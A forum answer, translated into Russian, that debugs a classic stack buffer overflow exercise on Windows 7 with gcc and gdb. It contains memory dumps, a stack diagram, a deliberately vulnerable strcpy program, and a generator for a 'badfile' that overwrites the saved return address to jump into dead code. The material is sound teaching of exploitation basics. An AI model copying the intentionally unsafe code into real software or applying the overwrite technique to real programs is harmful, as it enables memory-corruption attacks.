отказ от ответственности:
Я использую Window 7 с gcc-4.8.3 (из http://mingw-w64.org/doku.php) вместе с gdb версии 7.8 (также из http://mingw-w64.org/doku.php). Кроме того, в Windows 7, похоже, нет ASLR, как когда я запускаю эту небольшую тестовую программу:
#include <stdio.h>
unsigned long find_start(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("0x%X\n", find_start();
return (0);
}
Я получаю те же места в памяти, что и показано ниже:
Q:\>find_addr1
0x28fea8
Q:\>find_addr1
0x28fea8
Q:\>find_addr1
0x28fea8
Эта программа взята из «Справочника Shellcoder: обнаружение и использование дыр в безопасности» Криса Анли et. al., который комментирует: «... если вы заметили, что адрес, выводимый программой, каждый раз отличается, это, вероятно, означает, что вы используете дистрибутив с патчем grsecurity или чем-то подобным». Если у вас есть разные адреса, это затруднит воспроизведение следующих. Например, работая в моей системе Ubuntu-14.04 LTS, я получаю следующее:
ubuntu:~/projects$ ./find_addr
0x4F5AF640
ubuntu:~/projects$ ./find_addr
0xCE71D3B0
ubuntu:~/projects$ ./find_addr
0xD4A21710
Хорошо, теперь, когда предварительные мероприятия закончились, перейдем к вашему примеру. Итак, используя ваш код для создания badfile, я создал этот файл:
Q:\SE_test>genFile 0x43434343
Q:\SE_test>more badfile
a b c d e f g h i j a b c d 0x43434343ÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉÉ
Q:\SE_test>
Теперь давайте запустим вашу уязвимую программу под GDB и остановимся прямо перед вызовом bof
. Разборка на этом этапе выглядит так:
0x004015db <+92>: call 0x4027b8 <fread>
=> 0x004015e0 <+97>: lea 0x18(%esp),%eax
0x004015e4 <+101>: mov %eax,(%esp)
0x004015e7 <+104>: call 0x401560 <bof>
0x004015ec <+109>: movl $0x40402e,(%esp)
На этом этапе мы можем взглянуть на некоторые интересующие нас значения. Во-первых, обратите внимание на адрес инструкции после вызова bof
(0x004015ec), он нам понадобится позже. Во-вторых, мы можем изучить некоторые важные переменные и регистры:
(gdb) print str
$1 = "a b c d e f g h i j a b c d 0x43434343\000", '\220' <repeats 473 times>
(gdb) print $ebp
$2 = (void *) 0x28fec8
(gdb) print $esp
$3 = (void *) 0x28fca0
Итак, теперь мы знаем в памяти, где находится кадр активации для main
, а также проверяем, правильно ли вы прочитали строку. Глядя на значение строки, я действительно вижу две вещи, которые могут вызвать проблемы позже;
Обратите внимание на нулевой терминатор (\ 000), встроенный в строку? Это приведет к остановке копирования строки в bof
. У нас все равно должно получиться переполнение буфера. Просто кое-что, о чем нужно знать в шелл-коде, мы не можем иметь байты 0x00 и ожидать использования функций обработки строк.
Обратите внимание, что адрес, который я ввел (0x43434343), отображается как текст, а не как адрес. Это, насколько я могу судить, следствие использования Windows; однако мы все еще можем видеть, где мы записываем в память, и проверять, в правильном ли месте все идет.
Теперь мы можем войти в bof
и посмотреть, что у нас есть:
(gdb) s
bof (str=0x28fcb8 "a b c d e f g h i j a b c d 0x43434343") at overflow1.c:13
13 strcpy(buffer, str);
(gdb) print $esp
$5 = (void *) 0x28fc60
(gdb) print $ebp
$6 = (void *) 0x28fc98
(gdb) x/80xb 0x28fc60
0x28fc60: 0x00 0x02 0x00 0x00 0x50 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x6f 0xf4 0x6d 0x76
0x28fc80: 0xe0 0xf3 0x6d 0x76 0xb8 0xfc 0x28 0x00
0x28fc88: 0xff 0xff 0xff 0xff 0x01 0x00 0x00 0x00
0x28fc90: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
0x28fc98: 0xc8 0xfe 0x28 0x00 0xec 0x15 0x40 0x00
0x28fca0: 0xb8 0xfc 0x28 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
На этом этапе мы начинаем понимать, как устроена память, и мы также можем посмотреть на ее содержимое. Что особенно интересно, так это значения, расположенные в ячейках памяти 0x28fc9c и 0x28fca0, которые я ввел на диаграмму ниже:
address contents
+------------+
0x28fec8 | | <-- base pointer for main's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fca0 | 0x0028fcb8 | <-- stack pointer for main's stack frame
+------------+
0x28fc9c | 0x004015ec | <--- stored eip
+------------+
0x28fc98 | 0x0028fec8 | <-- base pointer for bof's stack frame
+------------+
| |
~ ~
~ ~
| |
+------------+
0x28fc60 | | <-- stack pointer for bof's stack frame
+------------+
Глядя на разборку main, мы видим, что следующая инструкция после вызова bof
находится по адресу 0x004015ec, который, как мы видим, был помещен в стек в ячейке памяти 0x0028fc9c strong >.
Теперь, когда этот анализ завершен, мы можем выполнить копию строки, а затем снова взглянуть на память и посмотреть, что мы сделали (помня, что 'a' имеет значение ASCII 0x61, а это пространство имеет значение ASCII 0x20). В качестве ориентира мы видим, что буфер в bof
расположен по адресу памяти 0x000x28fc7c.
(gdb) x/80xb 0x28fc60
0x28fc60: 0x7c 0xfc 0x28 0x00 0xb8 0xfc 0x28 0x00
0x28fc68: 0x60 0x29 0x76 0x76 0xc4 0xff 0x28 0x00
0x28fc70: 0xd5 0x8c 0x6e 0x76 0xc7 0x1f 0xa9 0x74
0x28fc78: 0xfe 0xff 0xff 0xff 0x61 0x20 0x62 0x20
0x28fc80: 0x63 0x20 0x64 0x20 0x65 0x20 0x66 0x20
0x28fc88: 0x67 0x20 0x68 0x20 0x69 0x20 0x6a 0x20
0x28fc90: 0x61 0x20 0x62 0x20 0x63 0x20 0x64 0x20
0x28fc98: 0x30 0x78 0x34 0x33 0x34 0x33 0x34 0x33
0x28fca0: 0x34 0x33 0x00 0x00 0x01 0x00 0x00 0x00
0x28fca8: 0x00 0x02 0x00 0x00 0x60 0x29 0x76 0x76
Нас особенно интересует регион, в котором хранится eip:
0x28fca8: 0x00 0x02 0x00 0x00
0x28fca4: 0x01 0x00 0x00 0x00
0x28fca0: 0x34 0x33 0x00 0x00
0x28fc9c: 0x34 0x33 0x34 0x33
0x28fc98: 0x30 0x78 0x34 0x33
Отсюда похоже, что первая часть того, что я ввел в качестве аргумента командной строки (0x43), перезаписывает ebp для bof
. Исходя из этого, я подозреваю, что вам нужно добавить еще четыре байта в свою строку, прежде чем записывать новый адрес. Кроме того, вам, вероятно, потребуется проверить, правильно ли обрабатывается аргумент командной строки.
В качестве проверки я немного изменил ваши две программы на это:
Во-первых, программа для создания плохого файла была изменена следующим образом:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[512];
FILE *badfile;
int ndx;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, 512);
/*First n-characters for buffer*/
for(ndx = 0; ndx < atoi(argv[1]); ndx++)
buffer[ndx] = 'A';
/*Overwrite return address*/
buffer[ndx++] = 0x7f;
buffer[ndx++] = 0x15;
buffer[ndx++] = 0x40;
buffer[ndx++] = 0x00;
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 512, 1, badfile);
fclose(badfile);
return 0;
}
Аргумент командной строки теперь позволяет вам ввести количество байтов для записи в файл перед записью вашего нового обратного адреса. Я также изменил вашу уязвимую программу, чтобы она выглядела так:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define BSIZE 512
int bof(char *str)
{
char buffer[20];
/* The following allows buffer overflow */
strcpy(buffer, str);
return 1;
}
void output()
{
printf("We should never see this\n");
exit(1);
}
int main(int argc, char **argv)
{
char str[BSIZE];
FILE *badfile;
char *badfname = "badfile";
badfile = fopen(badfname, "r");
fread(str, sizeof(char), BSIZE, badfile);
bof(str);
printf("Returned Properly\n");
return 0;
}
Обратите внимание, что output
фактически мертвый код, однако при быстрой разборке я обнаружил, что output
начинается с 0x0040157f. Это значение, которое я ввел в буфер в приведенном выше коде genFile. Теперь пара тестовых примеров:
Q:\SE_test>gcc -ansi -pedantic -Wall genFile.c -o genFile
Q:\SE_test>gcc -ansi -pedantic -Wall overflow1.c -o overflow1
Q:\SE_test>genFile 28
Q:\SE_test>overflow1
Returned Properly (see note below)
Q:\SE_test>genFile 32
Q:\SE_test>overflow1
We should never see this
Q:\SE_test>
Примечание. При первом запуске, несмотря на то, что программа отображала «Вернулось правильно», программа вылетала из строя, и в окнах отображалось диалоговое окно «Эта программа перестала работать».
Надеюсь, это поможет, если у вас есть другие вопросы, спрашивайте. Т.
person
thurizas
schedule
26.09.2015
buffer[4]; int *ret; ret = buffer + 12; (*ret) = 0x1234abc;
- person James Notaro   schedule 24.09.2015